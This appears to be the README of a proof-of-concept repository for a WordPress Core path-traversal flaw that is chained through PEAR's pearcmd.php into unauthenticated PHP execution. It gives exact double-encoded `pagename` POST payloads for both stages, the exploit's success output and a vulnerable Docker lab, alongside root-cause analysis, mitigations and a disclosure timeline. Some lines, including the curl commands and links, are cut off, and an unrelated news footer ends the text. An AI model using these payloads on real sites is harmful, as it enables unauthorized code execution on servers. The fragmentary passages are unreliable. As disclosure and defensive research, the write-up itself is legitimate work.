# CVE-2026-87902 — WordPress Core: unauthenticated path traversal in page-template resolution
Unauthenticated local PHP file inclusion in WordPress Core via a double-encoded
`pagename` value — and, under specific deployment conditions, PHP code execution
with the web-server account's privileges.
| **Vendor advisory** | [GHSA-7hp8-65ch-5whp]( |
| **Affected** | WordPress Core; dynamically reproduced on **7.0.2** |
| **Fixed** | WordPress **7.1.2**, with backports to older branches down to 4.7 (per the advisory) |
| **Weaknesses** | CWE-98 (improper control of filename in include), CWE-22 / CWE-23 (path traversal) |
| **CVSS v3.1** | `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` — **8.1 High** |
| **CVSS v4.0 (supplemental)** | `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` — **9.2 Critical** |
| **Authentication** | none — no account, cookie, nonce, session, plugin, or outbound request |
| **Author** | Robert Ressl — [ressl.ch]( |
| **PoC verified** | 2026-09-22 against the lab in this repository — see [Verified results](#verified-results) |
WordPress resolves a Page template through a chain that never proves the selected
1. `pagename` and `page_id` are public query variables that `WP::parse_request()`
2. A double-encoded traversal in `pagename` survives the early query
sanitization as escaped `%xx` octets (`wp_basename()` cannot see `%2f` as a
separator, and `sanitize_title_with_dashes()` deliberately keeps valid
3. A valid `page_id` then selects a real published Page, while the malicious
4. `get_page_template()` later calls `urldecode()` on that value and adds a
candidate such as `page-templates/../../../../../../../usr/local/lib/php/pearcmd.php`
5. `locate_template()` and the final template loader only check existence,
readability and the `.php`/`.html` suffix — never that the canonical path is
still inside an allowed theme root — and then `include` it.
That is an unauthenticated remote local-file-inclusion primitive in WordPress
Core. On the tested official runtime (`wordpress:php8.3-apache`, which bundles
PEAR and loads no `php.ini`, so `register_argc_argv` is `On`), the inclusion was
chained through PEAR's `pearcmd.php`: a first anonymous request makes
`config-create` write attacker-controlled PHP into `/tmp`, a second anonymous
request includes that file and executes it as `www-data`.
The missing path containment in Core is the vulnerability. PEAR is only one
environment-dependent route from inclusion to code execution — it is not a
WordPress dependency and is not present or usable in every deployment.
Verified source locations (WordPress 7.0.2):
| 1 | `wp-includes/class-wp.php:18,322-330` | `pagename` and `page_id` are public query vars and are read from `$_POST` |
| 2 | `wp-includes/class-wp-query.php:2205` | `sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) )` — `%2f` is not a separator to `wp_basename()` |
| 3 | `wp-includes/formatting.php:2283-2289` | `sanitize_title_with_dashes()` preserves valid `%xx` octets instead of removing them |
| 4 | `wp-includes/template.php:492` | `$pagename_decoded = urldecode( $pagename );` — the traversal becomes active *after* sanitization |
| 5 | `wp-includes/template.php:722-736` | `locate_template()` concatenates the candidate below each theme root and only calls `file_exists()` |
| 6 | `wp-includes/template-loader.php:116-132` | `realpath()` normalizes the path, then `include` runs with no canonical root-containment check |
| 7 | `wp-includes/canonical.php:42-47` | `redirect_canonical()` returns early for non-GET/HEAD, so a `POST` is not canonicalized away |
The standalone inclusion primitive needs:
| 1 | A published, anonymously reachable Page selected by numeric `page_id` | the page must be returned by the query after the pathname lookup fails |
| 2 | No earlier resolvable custom page template | a valid assigned template is ordered before the malicious candidate |
| 3 | A top-level directory in the active (child or parent) theme whose name starts with `page-`, e.g. `page-templates/` | WordPress prepends the fixed `page-` prefix, so a `..` traversal cannot start at position 0; the directory only has to exist and be traversable — it does **not** have to be writable |
| 4 | A selected local `.php` file that exists and is readable by the PHP user | the loader checks `is_file()`/`is_readable()` and requires a `.php` suffix |
| 5 | No filesystem confinement blocking that file | an `open_basedir` or MAC policy can prevent the include |
The demonstrated PEAR stage additionally needs a readable `pearcmd.php` (plus its
dependencies), `register_argc_argv=On` for the web SAPI, and a writable output
directory. Production `php.ini` files set `register_argc_argv=Off`; the tested
image loads no `php.ini`, so the compiled default (`On`) applied. This is an
important limit on the prevalence of the demonstrated code-execution chain.
The bundled Twenty Twenty-Three/Four/Five themes ship **no** top-level `page-*`
directory, so the stock lab needs the fixture described below. Custom themes can
legitimately use a `page-templates/` layout
([WordPress documentation](
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 poc.py # two anonymous POSTs, prints the proof marker
`poc.py` needs Python 3.6+ (standard library only) and reaches the lab at
` by default. Expected output:
[*] target :
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
Exit code is `0` on success and `1` otherwise, so the PoC also works as a
Run on 2026-09-22 against this lab (Docker 29.4, OrbStack, Apple silicon):
| Stage 1 | HTTP 200; `/tmp/wp-pear-rce-flag.php` written as `www-data:www-data`, mode `0644`, **1219 bytes** |
| Payload SHA-256 | `460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7` — identical to the hash recorded in the original report |
| Stage 2 | HTTP 200; the injected PHP printed the mode-0444 proof artifact |
| Marker occurrences | 12 (PEAR serializes the controlled root value into 12 config entries) |
| Credentials used | none — no `Cookie` or `Authorization` header in any request |
| Negative control | `page-templates/` removed → stage 2 returns the normal page, no marker, exit code 1 |
The proof artifact is `/flag`, root-owned and world-readable (`root:root`, mode
`0444`) inside the container. It proves PHP execution and file access **as the
web-server account**; it is not a privilege-escalation target.
Two anonymous `POST`s. WordPress routing values travel in the form body, the
PEAR arguments in the raw query string (PHP splits the raw query string on
literal `+` into `argv` and does not URL-decode the individual arguments):
argv[2] = "/" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Stage 1 — include `pearcmd.php` and write the payload:
' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Stage 2 — include the generated file and run its PHP:
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
* **Two encoding layers.** The body is decoded once by PHP into
`templates%2f%2e%2e%2f...`; the sanitizer keeps those octets, and only
`get_page_template()`'s late `urldecode()` turns them into `/` and `..`.
* **`page-` prefix.** WordPress prepends `page-` to the value, so the fixture
directory `page-templates/` corresponds to the leading `templates` segment.
* **Forced `.php` suffix.** The candidate is `page-.php`, which is why
the target is given without a suffix (`.../pearcmd`, `/tmp/wp-pear-rce-flag`).
* **`POST`, not `GET`.** `redirect_canonical()` skips non-GET/HEAD requests, and
the form body lets the query string carry only the PEAR arguments.
* **Quote-free payload.** `wp_magic_quotes()` also runs over `$_SERVER`, so the
server-built `argv` is escaped and PEAR later normalizes the backslashes. The
verified payload uses `chr()` and contains no quote characters. (It reduces
* **`config-create` root path.** PEAR rejects a relative root
(`Root directory must be an absolute path beginning with "/"`), so the payload
* **Depth.** `poc.py` walks `..` segments until the traversal reaches the target
(`7` for the layout of this lab, `--depth` to pin it).
`lab/up.sh` performs three steps and is safe to re-run:
1. `docker compose up -d --build --wait` — pinned `wordpress:7.0.2-php8.3-apache`
plus `mysql:8.4`, port `127.0.0.1:8091` (loopback only).
2. Runs the WordPress installer (`admin` / `adminadmin`) if the site is not
3. Creates the fixture inside the active theme and prints it:
`wp-content/themes/twentytwentyfive/page-templates/`, `root:root`, mode
The lab image adds `register_argc_argv=On` explicitly (`lab/Dockerfile`) instead
of relying on the compiled default, and bakes in `/flag`
(`root:root`, mode `0444`, content `CVE-2026-87902-POC-OK`).
| WordPress | 7.0.2 (`wordpress:7.0.2-php8.3-apache`) |
| PEAR | 1.10.18 at `/usr/local/lib/php/pearcmd.php` |
| Theme | Twenty Twenty-Five + empty root-owned `page-templates/` fixture |
| Target Page | published Sample Page, ID 2, default template |
| Proof artifact | `/flag`, `root:root`, mode `0444` |
> The rolling `wordpress:php8.3-apache` tag is **not** usable for this lab: the
> bug is fixed in 7.1.2 and an unpinned tag silently turns the lab patched.
* No top-level `page-*` directory in the theme → the fixed prefix cannot be
removed and the traversal never starts (verified: fixture removed → no marker).
* `register_argc_argv=Off` → no PEAR writer, but the inclusion primitive remains.
* PEAR or its dependencies absent → no writer.
* Wrong number of `..` segments → target not reached (verified: depths 1-6 and
* A custom page template assigned to the Page → ordered before the malicious
* An unsuffixed file (e.g. `/flag`) cannot be read directly — the candidate gets
* A WAF/CDN/reverse proxy that rejects raw ``, `=` bytes in the request
target breaks the PEAR argument channel (deployment-specific).
* `open_basedir`/MAC confinement or a non-writable output directory breaks the
chain; `noexec` on `/tmp` does not (PHP reads and interprets the file).
This PoC reproduces one verified configuration. It does not claim that every
WordPress installation is exploitable, and it does not measure prevalence.
* **Upgrade** to WordPress 7.1.2 or newer (or to the backport of your branch).
* **Defense in depth** for template handling: after decoding, reject traversal
and absolute candidates (e.g. `validate_file()`), and before including a
located template, compare `realpath()` of candidate and theme root with a
* **Operator mitigations:** set `register_argc_argv=Off` for web SAPIs, remove
unused web-readable PEAR entry points from production images, audit child and
parent themes for top-level `page-*` directories, and restrict write access
| `poc.py` | exploit: page detection, both stages, depth handling, marker verification |
| `lab/up.sh` | brings the lab into the exact state the exploit expects (idempotent) |
| `docker-compose.yml` | WordPress 7.0.2 + MySQL 8.4, loopback-only port |
| `lab/Dockerfile` | pins the vulnerable release, sets `register_argc_argv=On`, bakes `/flag` |
| `lab/flag` | content of the proof artifact |
| 2026-07-20 | Reported privately through the WordPress HackerOne program |
| 2026-09-15 | Informed that a fix was planned for an upcoming release; attribution details requested |
| 2026-09-22 | WordPress 7.1.2 released with the fix; advisory GHSA-7hp8-65ch-5whp published |
The report was accepted as a valid security finding after its initial
classification was revised; the correspondence does not date that acceptance.
This repository is published for defensive and research purposes. Use it only
against systems you own or are explicitly authorized to test. The lab is bound
to `127.0.0.1` and must not be exposed to untrusted networks.
MIT — see [LICENSE](LICENSE). Citation metadata lives in
> Ressl, Robert (2026). *CVE-2026-87902 PoC: unauthenticated path traversal in
> WordPress page-template resolution* (v1.0.0).
The vulnerability report and this PoC were prepared with AI assistance for
organization and consistency review; the researcher is responsible for the
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
